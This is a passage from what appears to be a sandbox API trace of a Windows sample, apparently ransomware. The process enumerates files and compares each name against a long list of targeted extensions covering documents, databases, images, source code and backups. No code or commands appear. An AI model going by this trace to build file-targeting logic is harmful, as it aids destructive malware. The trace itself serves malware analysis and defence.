lstrlenW (lpString=".7z") returned 3 [0059.646] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0059.646] lstrlenW (lpString=".accda") returned 6 [0059.646] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0059.646] lstrlenW (lpString=".accdb") returned 6 [0059.646] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0059.646] lstrlenW (lpString=".accdc") returned 6 [0059.646] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0059.646] lstrlenW (lpString=".accde") returned 6 [0059.646] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0059.646] lstrlenW (lpString=".accdt") returned 6 [0059.647] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".accdw") returned 6 [0059.647] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".adb") returned 4 [0059.647] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".adp") returned 4 [0059.647] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".ai") returned 3 [0059.647] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0059.647] lstrlenW (lpString=".ai3") returned 4 [0059.647] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".ai4") returned 4 [0059.647] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0059.647] lstrlenW (lpString=".ai5") returned 4 [0059.647] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".ai6") returned 4 [0059.648] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".ai7") returned 4 [0059.648] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".ai8") returned 4 [0059.648] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".anim") returned 5 [0059.648] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".arw") returned 4 [0059.648] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0059.648] lstrlenW (lpString=".as") returned 3 [0059.648] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0059.648] lstrlenW (lpString=".asa") returned 4 [0059.649] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".asc") returned 4 [0059.649] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".ascx") returned 5 [0059.649] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".asm") returned 4 [0059.649] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".asmx") returned 5 [0059.649] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".asp") returned 4 [0059.649] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".aspx") returned 5 [0059.649] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0059.649] lstrlenW (lpString=".asr") returned 4 [0059.650] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".asx") returned 4 [0059.650] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".avi") returned 4 [0059.650] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".avs") returned 4 [0059.650] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".backup") returned 7 [0059.650] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".bak") returned 4 [0059.650] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0059.650] lstrlenW (lpString=".bay") returned 4 [0059.650] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".bd") returned 3 [0059.651] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0059.651] lstrlenW (lpString=".bin") returned 4 [0059.651] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".bmp") returned 4 [0059.651] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".bz2") returned 4 [0059.651] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".c") returned 2 [0059.651] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0059.651] lstrlenW (lpString=".cdr") returned 4 [0059.651] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".cer") returned 4 [0059.651] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0059.651] lstrlenW (lpString=".cf") returned 3 [0059.652] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0059.652] lstrlenW (lpString=".cfc") returned 4 [0059.652] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".cfm") returned 4 [0059.652] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".cfml") returned 5 [0059.652] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".cfu") returned 4 [0059.652] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".chm") returned 4 [0059.652] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".cin") returned 4 [0059.652] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0059.652] lstrlenW (lpString=".class") returned 6 [0059.652] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".clx") returned 4 [0059.653] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".config") returned 7 [0059.653] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".cpp") returned 4 [0059.653] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".cr2") returned 4 [0059.653] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".crt") returned 4 [0059.653] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".crw") returned 4 [0059.653] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0059.653] lstrlenW (lpString=".cs") returned 3 [0059.653] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0059.653] lstrlenW (lpString=".css") returned 4 [0059.654] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".csv") returned 4 [0059.654] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".cub") returned 4 [0059.654] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".dae") returned 4 [0059.654] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".dat") returned 4 [0059.654] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".db") returned 3 [0059.654] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0059.654] lstrlenW (lpString=".dbf") returned 4 [0059.654] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0059.654] lstrlenW (lpString=".dbx") returned 4 [0059.655] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dc3") returned 4 [0059.655] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dcm") returned 4 [0059.655] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dcr") returned 4 [0059.655] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".der") returned 4 [0059.655] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dib") returned 4 [0059.655] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dic") returned 4 [0059.655] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0059.655] lstrlenW (lpString=".dif") returned 4 [0059.655] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".divx") returned 5 [0059.656] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".djvu") returned 5 [0059.656] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".dng") returned 4 [0059.656] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".doc") returned 4 [0059.656] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".docm") returned 5 [0059.656] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".docx") returned 5 [0059.656] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".dot") returned 4 [0059.656] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0059.656] lstrlenW (lpString=".dotm") returned 5 [0059.657] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0059.657] lstrlenW (lpString=".dotx") returned 5 [0059.657] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0059.657] lstrlenW (lpString=".dpx") returned 4 [0059.657] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0059.657] lstrlenW (lpString=".dqy") returned 4 [0059.657] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0059.657] lstrlenW (lpString=".dsn") returned 4 [0059.657] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0059.657] lstrlenW (lpString=".dt") returned 3 [0059.658] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0059.658] lstrlenW (lpString=".dtd") returned 4 [0059.658] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0059.658] lstrlenW (lpString=".dwg") returned 4 [0059.658] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0059.658] lstrlenW (lpString=".dwt") returned 4 [0059.658] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0059.658] lstrlenW (lpString=".dx") returned 3 [0059.658] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0059.658] lstrlenW (lpString=".dxf") returned 4 [0059.658] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0059.658] lstrlenW (lpString=".edml") returned 5 [0059.658] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0059.658] lstrlenW (lpString=".efd") returned 4 [0059.659] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".elf") returned 4 [0059.659] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".emf") returned 4 [0059.659] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".emz") returned 4 [0059.659] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".epf") returned 4 [0059.659] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".eps") returned 4 [0059.659] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".epsf") returned 5 [0059.659] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0059.659] lstrlenW (lpString=".epsp") returned 5 [0059.659] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".erf") returned 4 [0059.660] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".exr") returned 4 [0059.660] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".f4v") returned 4 [0059.660] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".fido") returned 5 [0059.660] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".flm") returned 4 [0059.660] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".flv") returned 4 [0059.660] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".frm") returned 4 [0059.660] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0059.660] lstrlenW (lpString=".fxg") returned 4 [0059.661] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0059.661] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36d52d0 [0059.884] FindNextFileW (in: hFindFile=0x51b2d0, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.884] FindNextFileW (in: hFindFile=0x51b2d0, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.302] FindNextFileW (in: hFindFile=0x40210b8, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.302] FindNextFileW (in: hFindFile=0x40210b8, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0062.303] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.303] lstrcmpiW (lpString1=".3ds", lpString2=".msi") returned -1 [0062.303] lstrcmpiW (lpString1=".3fr", lpString2=".msi") returned -1 [0062.303] lstrcmpiW (lpString1=".3g2", lpString2=".msi") returned -1 [0062.303] lstrcmpiW (lpString1=".3gp", lpString2=".msi") returned -1 [0062.303] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.303] lstrcmpiW (lpString1=".accda", lpString2="WW.msi") returned -1 [0062.303] lstrcmpiW (lpString1=".accdb", lpString2="WW.msi") returned -1 [0062.303] lstrcmpiW (lpString1=".accdc", lpString2="WW.msi") returned -1 [0062.303] lstrcmpiW (lpString1=".accde", lpString2="WW.msi") returned -1 [0062.304] lstrcmpiW (lpString1=".accdt", lpString2="WW.msi") returned -1 [0062.304] lstrcmpiW (lpString1=".accdw", lpString2="WW.msi") returned -1 [0062.304] lstrcmpiW (lpString1=".adb", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".adp", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai", lpString2="msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai3", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai4", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai5", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai6", lpString2=".msi") returned -1 [0062.304] lstrcmpiW (lpString1=".ai7", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".ai8", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".anim", lpString2="W.msi") returned -1 [0062.305] lstrcmpiW (lpString1=".arw", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".as", lpString2="msi") returned -1 [0062.305] lstrcmpiW (lpString1=".asa", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".asc", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".ascx", lpString2="W.msi") returned -1 [0062.305] lstrcmpiW (lpString1=".asm", lpString2=".msi") returned -1 [0062.305] lstrcmpiW (lpString1=".asmx", lpString2="W.msi") returned -1 [0062.306] lstrcmpiW (lpString1=".asp", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".aspx", lpString2="W.msi") returned -1 [0062.306] lstrcmpiW (lpString1=".asr", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".asx", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".avs", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".backup", lpString2="2WW.msi") returned -1 [0062.306] lstrcmpiW (lpString1=".bak", lpString2=".msi") returned -1 [0062.306] lstrcmpiW (lpString1=".bay", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".bd", lpString2="msi") returned -1 [0062.307] lstrcmpiW (lpString1=".bin", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".bmp", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".c", lpString2="si") returned -1 [0062.307] lstrcmpiW (lpString1=".cdr", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".cer", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".cf", lpString2="msi") returned -1 [0062.307] lstrcmpiW (lpString1=".cfc", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".cfm", lpString2=".msi") returned -1 [0062.307] lstrcmpiW (lpString1=".cfml", lpString2="W.msi") returned -1 [0062.308] lstrcmpiW (lpString1=".cfu", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".chm", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".cin", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".class", lpString2="WW.msi") returned -1 [0062.308] lstrcmpiW (lpString1=".clx", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".config", lpString2="2WW.msi") returned -1 [0062.308] lstrcmpiW (lpString1=".cpp", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".cr2", lpString2=".msi") returned -1 [0062.308] lstrcmpiW (lpString1=".crt", lpString2=".msi") returned -1 [0062.309] lstrcmpiW (lpString1=".crw", lpString2=".msi") returned -1 [0062.309] lstrcmpiW (lpString1=".cs", lpString2="msi") returned -1 [0062.309] lstrcmpiW (lpString1=".css", lpString2=".msi") returned -1 [0062.309] lstrcmpiW (lpString1=".csv", lpString2=".msi") returned -1 [0062.309] lstrcmpiW (lpString1=".cub", lpString2=".msi") returned -1 [0062.309] lstrcmpiW (lpString1=".dae", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".db", lpString2="msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dbx", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dc3", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dcm", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dcr", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".der", lpString2=".msi") returned -1 [0062.310] lstrcmpiW (lpString1=".dib", lpString2=".msi") returned -1 [0062.311] lstrcmpiW (lpString1=".dic", lpString2=".msi") returned -1 [0062.311] lstrcmpiW (lpString1=".dif", lpString2=".msi") returned -1 [0062.311] lstrcmpiW (lpString1=".divx", lpString2="W.msi") returned -1 [0062.311] lstrcmpiW (lpString1=".djvu", lpString2="W.msi") returned -1 [0062.311] lstrcmpiW (lpString1=".dng", lpString2=".msi") returned -1 [0062.311] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.311] lstrcmpiW (lpString1=".docm", lpString2="W.msi") returned -1 [0062.311] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0062.311] lstrcmpiW (lpString1=".dot", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dotm", lpString2="W.msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dotx", lpString2="W.msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dpx", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dqy", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dsn", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dt", lpString2="msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dtd", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dwg", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dwt", lpString2=".msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dx", lpString2="msi") returned -1 [0062.312] lstrcmpiW (lpString1=".dxf", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".edml", lpString2="W.msi") returned -1 [0062.313] lstrcmpiW (lpString1=".efd", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".elf", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".emz", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".epf", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".eps", lpString2=".msi") returned -1 [0062.313] lstrcmpiW (lpString1=".epsf", lpString2="W.msi") returned -1 [0062.313] lstrcmpiW (lpString1=".epsp", lpString2="W.msi") returned -1 [0062.314] lstrcmpiW (lpString1=".erf", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".exr", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".f4v", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".fido", lpString2="W.msi") returned -1 [0062.314] lstrcmpiW (lpString1=".flm", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".flv", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".frm", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".fxg", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".geo", lpString2=".msi") returned -1 [0062.314] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".grs", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".gz", lpString2="msi") returned -1 [0062.315] lstrcmpiW (lpString1=".h", lpString2="si") returned -1 [0062.315] lstrcmpiW (lpString1=".hdr", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".hpp", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".hta", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".htc", lpString2=".msi") returned -1 [0062.315] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".html", lpString2="W.msi") returned -1 [0062.316] lstrcmpiW (lpString1=".icb", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".ics", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".iff", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".indd", lpString2="W.msi") returned -1 [0062.316] lstrcmpiW (lpString1=".ini", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".iqy", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".j2c", lpString2=".msi") returned -1 [0062.316] lstrcmpiW (lpString1=".j2k", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".java", lpString2="W.msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jp2", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpc", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpe", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpeg", lpString2="W.msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpf", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.317] lstrcmpiW (lpString1=".jpx", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".js", lpString2="msi") returned -1 [0062.318] lstrcmpiW (lpString1=".jsf", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".json", lpString2="W.msi") returned -1 [0062.318] lstrcmpiW (lpString1=".jsp", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".kdc", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".kmz", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".kwm", lpString2=".msi") returned -1 [0062.318] lstrcmpiW (lpString1=".lasso", lpString2="WW.msi") returned -1 [0062.318] lstrcmpiW (lpString1=".lbi", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".lgf", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".lgp", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".log", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".m1v", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".m4a", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".m4v", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".max", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".md", lpString2="msi") returned -1 [0062.319] lstrcmpiW (lpString1=".mda", lpString2=".msi") returned -1 [0062.319] lstrcmpiW (lpString1=".mdb", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mde", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mdf", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mdw", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mef", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mft", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mfw", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mht", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mhtml", lpString2="WW.msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mka", lpString2=".msi") returned -1 [0062.320] lstrcmpiW (lpString1=".mkidx", lpString2="WW.msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mkv", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mos", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mov", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mp3", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mp4", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mpeg", lpString2="W.msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mpg", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mpv", lpString2=".msi") returned -1 [0062.321] lstrcmpiW (lpString1=".mrw", lpString2=".msi") returned -1 [0062.322] lstrcmpiW (lpString1=".msg", lpString2=".msi") returned -1 [0062.322] lstrcmpiW (lpString1=".mxl", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".myd", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".myi", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".nef", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".nrw", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".obj", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".odb", lpString2=".msi") returned 1 [0062.322] lstrcmpiW (lpString1=".odc", lpString2=".msi") returned 1 [0062.323] lstrcmpiW 